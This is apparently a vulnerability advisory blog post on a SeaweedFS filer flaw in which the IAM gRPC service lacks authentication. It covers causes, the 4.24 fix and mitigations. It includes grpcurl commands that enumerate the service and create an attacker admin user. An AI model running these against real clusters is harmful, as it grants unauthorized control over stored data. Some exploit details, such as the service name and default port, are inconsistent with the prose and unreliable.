Listen to this Post
CVE-2026-72920 is a critical Missing Authentication for Critical Function vulnerability (CWE-306) identified in SeaweedFS, a distributed storage system. The flaw resides in the filer component’s IAM gRPC service, formally known as SeaweedIdentityAccessManagement. Prior to version 4.24, this service was registered and exposed on the filer’s gRPC listener without any mandatory authentication checks.
The vulnerability manifests when the `jwt.filer_signing.key` parameter is left unset in the `security.toml` configuration file. In this default state, the system fails to enforce any authorization for incoming gRPC calls to the IAM service. This means any client capable of reaching the filer’s gRPC port over the network can invoke critical administrative RPCs. These include, but are not limited to, CreateUser, CreateAccessKey, and PutPolicy. An attacker could use these functions to mint new S3 credentials and grant themselves administrative privileges.
Attempts to secure the service through other documented means are ineffective. Enabling the JWT signing keys does not protect the IAM gRPC service, as it was not gated by that mechanism. Furthermore, even when mTLS is implemented, the listener-level `allowed_commonNames` ACL only restricts access at the port level, not for individual RPCs. Therefore, any client with a valid cluster mesh certificate could still reach and invoke these administrative calls. This vulnerability was addressed in version 4.24. The fix requires a Bearer token signed with the filer admin signing key (jwt.filer_signing.key) for every IAM RPC. Additionally, the service now refuses to register if no signing key is configured, eliminating the unauthenticated default.
DailyCVE Form:
Platform: SeaweedFS Filer
Version: < 4.24
Vulnerability: Missing Authentication
Severity: Critical (CVSS 9.8)
date: 2026-08-11
Prediction: Already Patched (4.24)
What Undercode Say:
Check if your SeaweedFS filer is exposed and vulnerable:
Check the version of your SeaweedFS filer weed version Check if the filer's gRPC port (default 19333) is exposed nmap -p 19333 <filer-ip> Check for the presence of the jwt.filer_signing.key in the security.toml cat security.toml | grep jwt.filer_signing.key
Exploit: (Educational Purposes!)
An attacker with network access to the filer’s gRPC port could use `grpcurl` to list and invoke services, demonstrating the lack of authentication:
List all gRPC services on the filer
grpcurl -plaintext <filer-ip>:19333 list
Describe the IAM service
grpcurl -plaintext <filer-ip>:19333 describe seaweed.iam.IamService
Attempt to create a new admin user (this would succeed pre-4.24)
grpcurl -plaintext -d '{"name": "attacker", "password": "pwned"}' <filer-ip>:19333 seaweed.iam.IamService/CreateUser
Protection:
Immediately upgrade SeaweedFS to version 4.24 or later. If an immediate upgrade is not possible, apply these mitigations:
1. Network Restriction: Restrict network access to the filer’s gRPC port to only trusted hosts using a firewall or network policy.
2. Configure JWT: Set the `jwt.filer_signing.key` in the `security.toml` configuration file.
3. Audit: After applying mitigations, review existing S3 users and access keys for any signs of unauthorized creation.
Impact:
Successful exploitation allows an unauthenticated attacker to gain full S3 administrative control over the SeaweedFS cluster. This compromises the confidentiality, integrity, and availability of all stored objects, as the attacker can read, modify, or delete any data.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
